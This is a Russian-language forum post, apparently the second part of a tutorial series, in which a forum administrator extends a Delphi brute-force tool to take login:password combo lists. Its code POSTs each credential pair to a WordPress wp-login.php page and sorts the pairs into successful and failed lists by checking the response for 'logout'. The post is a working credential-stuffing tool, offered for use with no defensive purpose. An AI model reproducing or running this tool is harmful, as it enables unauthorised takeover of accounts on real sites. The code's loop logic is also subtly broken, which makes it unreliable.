• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

Пишем Брут. Часть 2

Sascha Оффлайн

Sascha

Заместитель Администратора
Команда форума
Администратор
Регистрация
9 Май 2015
Сообщения
1,562
Баллы
155
Подумав, что собственно ждать, решил сразу запилить вторую часть.
Сейчас будем дорабатывать брут под разные виды списков (словарей). Как это понимать? Да легко: есть словари, где список логинов и паролей представлен в виде: login:password, а не только Only logins или Only passwords.
Вот под такой список сейчас и настроим брут. На той форме, что сделали в первой части, добавим несколько компонентов: ещё 1 memo, что бы разделить список BAD'ов и GOOD'ов; ещё 1 OpenDialog; ещё 1-у метку, 1 edit и 1 кнопку. edit сразу переименовываем в txtLogPass.
1e7h3i2asyaeeid.jpg
И поехали писать код:
Для кнопки открытия файла вида login:pass :
Код:
var Op1: TOpenDialog;
PLL: TStringList;
procedure TBrute.Button2Click(Sender: TObject);
begin
Op1:= TOpenDialog.Create(OpenDialog2); // Инициализация переменной типа TOpenDialog
Op1:= OpenDialog2; //Привязка переменной к компоненту
if Op1.Execute then
begin
txtLogPass.Text:= Op1.FileName;
PLL:= TStringList.Create;
PLL.LoadFromFile(Op1.FileName);
end;
end;
В принципе всё как и раньше. Теперь у нас стоит другая задача. В файле будут строки вида: логин:пароль. Надо как-то разбить эту строку на 2 части, в одной логин, во второй пароль. Как это сделать? Сейчас придумаем...

Немного теории. В Visual Basic есть такая функция - split. Они разбивает строку по определённому символу (разделителю). Например указал ей в качестве разделителя - ':' двоеточие, а в строке у нас такая запись: 'Hello:World'. Соответственно функция вернёт в первой строке Hello, а во второй World, так как разбила и раскидала по строкам. Удобно, ничего не скажешь.
Но теперь вспомним, что в Delphi, в примере с брутом мы используем StringList'ы. А у данных массивов есть такие свойства, как Delimiter, что так же означает разделитель.
Используем так:
Код:
PLL.Delimiter:= ':';
Pll.DelimitedText:= Pll.Text;
Где PLL - загруженный файл вида login:pass. Вот и всё, теперь логин в первой строке, пароль во второй. Осталось немного модернизировать алгоритм брута. Я буду писать всё это в процедуре:
Код:
public
  procedure PassLogList;
procedure TBrute.PassLogList;
var I,p : Integer;
Result: TStringList;
Param: TStringList;
begin
PLL.Delimiter:= ':';
Pll.DelimitedText:= Pll.Text;
Result:= TStringList.Create;
Param:= TStringList.Create;
p:= 0;
for i := 0 to PLL.Count-1 do
  begin
    Param.Add('pwd='+PLL.Strings[p]);
    Param.Add('log='+PLL.Strings[p+1]);
    Result.Text:= idHTTP1.Post('http://test1.ru/wp-login.php', Param);
    if pos('logout',Result.Text) <> 0 then Memo1.Lines.Add(PLL.Strings[p]+' : ' +PLL.Strings[p+1]) else
    Memo2.Lines.Add(PLL.Strings[p]+' : ' +PLL.Strings[p+1]);
    P:= p+2;
  end;
end;
Ну а дальше уже или кидай RadioButton'ы, что бы у пользователя был выбор какого вида словарь выбрать, или же по кнопкам, в общем как хочешь.
Ну и конечно, всё работает:
eiyh275nsh14a1i.jpg
Спасибо всем.


Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

<........................>

Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

 
Вверх Снизу